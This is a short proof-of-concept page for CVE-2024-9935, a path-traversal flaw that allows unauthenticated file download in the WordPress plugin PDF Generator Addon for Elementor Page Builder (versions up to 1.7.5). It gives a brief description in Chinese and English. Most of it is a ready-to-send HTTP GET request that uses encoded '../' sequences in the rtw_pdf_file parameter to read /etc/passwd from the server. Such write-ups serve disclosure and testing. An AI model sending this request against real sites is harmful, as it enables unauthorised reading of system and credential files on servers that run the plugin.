CVE-2024-9935 PoC — WordPress plugin PDF Generator Addon for Elementor Page Builder 路径遍历漏洞

Description

PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary File Download

介绍

# CVE-2024-9935
PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary File Download

# Description

The PDF Generator Addon for Elementor Page Builder plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.5 via the rtw_pgaepb_dwnld_pdf() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

# POC

```
GET /elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Priority: u=0, i
```

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